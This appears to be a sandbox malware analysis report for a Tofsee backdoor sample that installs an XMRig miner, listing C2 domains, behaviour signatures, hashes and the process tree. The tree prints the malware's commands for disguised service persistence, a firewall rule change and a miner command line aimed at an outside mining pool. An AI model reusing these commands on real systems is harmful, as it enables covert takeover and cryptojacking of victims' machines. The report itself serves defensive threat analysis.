Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/12/2022, 17:16

General

  • Target
    file.exe
  • Size 215KB
  • Sample221218-vs4xtsda33
  • SHA256 e13ff202b3aa06b39b137ec1e7a8ecfdb16ba4730d7292c28f46bb2d5d503e48
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1428
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qxtnryle\
      2⤵
        PID:4168
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xdvkpiz.exe" C:\Windows\SysWOW64\qxtnryle\
        2⤵
          PID:2768
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create qxtnryle binPath= "C:\Windows\SysWOW64\qxtnryle\xdvkpiz.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4908
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description qxtnryle "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1324
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start qxtnryle
          2⤵
          • Launches sc.exe
          PID:4564
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3600
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1428 -s 1036
          2⤵
          • Program crash
          PID:1668
      • C:\Windows\SysWOW64\qxtnryle\xdvkpiz.exe
        C:\Windows\SysWOW64\qxtnryle\xdvkpiz.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1288
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:116
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4060
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1288 -s 532
          2⤵
          • Program crash
          PID:2308
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1428 -ip 1428
        1⤵
          PID:1528
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 1288 -ip 1288
          1⤵
            PID:4004

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                xdvkpiz.exe

                • Path C:\Users\Admin\AppData\Local\Temp\xdvkpiz.exe
                • Size 14.3MB
                • SHA256 43f325b5d00fb5960467d02a4a7cc6c2ba85840ebe265b8b930c4852dc8a28d2
                • MD5 SHA1 SHA512 SSDEEP

                xdvkpiz.exe

                • Path C:\Windows\SysWOW64\qxtnryle\xdvkpiz.exe
                • Size 14.3MB
                • SHA256 43f325b5d00fb5960467d02a4a7cc6c2ba85840ebe265b8b930c4852dc8a28d2
                • MD5 SHA1 SHA512 SSDEEP

                memory/116-159-0x0000000001FB0000-0x0000000001FC0000-memory.dmp

                memory/116-168-0x0000000002BE0000-0x0000000002BE7000-memory.dmp

                memory/116-165-0x0000000007700000-0x0000000007B0B000-memory.dmp

                memory/116-162-0x0000000002BD0000-0x0000000002BD5000-memory.dmp

                memory/116-146-0x0000000000920000-0x0000000000935000-memory.dmp

                memory/116-153-0x0000000002800000-0x0000000002A0F000-memory.dmp

                memory/116-152-0x0000000000920000-0x0000000000935000-memory.dmp

                memory/116-151-0x0000000000920000-0x0000000000935000-memory.dmp

                memory/116-156-0x0000000001FA0000-0x0000000001FA6000-memory.dmp

                memory/1288-149-0x000000000075D000-0x000000000076E000-memory.dmp

                memory/1288-150-0x0000000000400000-0x0000000000460000-memory.dmp

                memory/1428-133-0x00000000004A0000-0x00000000004B3000-memory.dmp

                memory/1428-144-0x0000000000400000-0x0000000000460000-memory.dmp

                memory/1428-143-0x0000000000623000-0x0000000000634000-memory.dmp

                memory/1428-132-0x0000000000623000-0x0000000000634000-memory.dmp

                memory/1428-134-0x0000000000400000-0x0000000000460000-memory.dmp

                memory/4060-172-0x0000000000A00000-0x0000000000AF1000-memory.dmp

                memory/4060-177-0x0000000000A00000-0x0000000000AF1000-memory.dmp